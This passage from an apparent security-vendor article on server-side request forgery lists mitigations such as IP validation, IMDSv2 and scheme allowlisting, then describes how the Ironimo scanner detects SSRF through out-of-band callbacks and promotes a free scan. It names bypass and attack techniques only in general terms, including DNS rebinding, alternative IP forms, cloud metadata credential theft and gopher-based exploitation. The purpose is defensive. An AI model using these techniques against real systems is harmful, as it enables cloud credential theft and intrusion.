| Resolve before connecting | Resolve hostname → IP once, validate the IP, connect directly to the IP. | DNS rebinding, short-TTL bypass |
| Block internal IP ranges | Validate resolved IPs against private, loopback, and link-local ranges. Deny matches. | Alternative IP representations |
| Enforce IMDSv2 | Require session-oriented IMDSv2 with hop limit 1. Block IMDS at the network level. | Cloud metadata credential theft |
| Network egress controls | Application subnet egress rules: only allow known external IPs/domains via proxy. | Internal network pivoting |
| Restrict gopher:// and file:// | Allowlist only http:// and https:// schemes. Reject all others at the application layer. | Protocol-based exploitation (Redis, file read) |
| Principle of least privilege | IAM roles attached to application instances should have the minimum permissions needed. Avoid AdministratorAccess on application roles. | Post-exploitation blast radius |
How Ironimo Detects SSRF
Automated SSRF detection requires the scanner to make the target server issue an HTTP request to a controlled external endpoint — and then observe that callback. This is an out-of-band detection problem: the observable event happens on the scanner's infrastructure, not in the HTTP response from the target.
Ironimo's scanning engine maintains a dedicated callback infrastructure for out-of-band interaction detection. For every URL parameter, webhook configuration field, and data import function it discovers in your application, it injects payloads targeting the Ironimo callback server. A DNS or HTTP callback from the target server confirms SSRF, and the scanner records the source IP, request path, and timing to characterize the vulnerability.
Beyond basic detection, Ironimo tests the full SSRF bypass matrix: alternative IP representations, URL encoding variants, scheme confusion, and redirect chains — because a scanner that only tests the canonical payload misses the majority of real-world SSRF vulnerabilities that exist specifically because basic pattern matching was attempted and bypassed.
SSRF vulnerabilities in your cloud-hosted application can hand attackers the IAM credentials attached to your EC2 instances — and from there, your S3 buckets, secrets, and customer data. Basic SSRF is often the first step in the most severe cloud breach chains.
Ironimo scans your application for SSRF vulnerabilities using out-of-band callback detection, cloud metadata exploitation testing, and the complete filter bypass matrix. No manual setup required — connect your target and get results in minutes.
Start free scan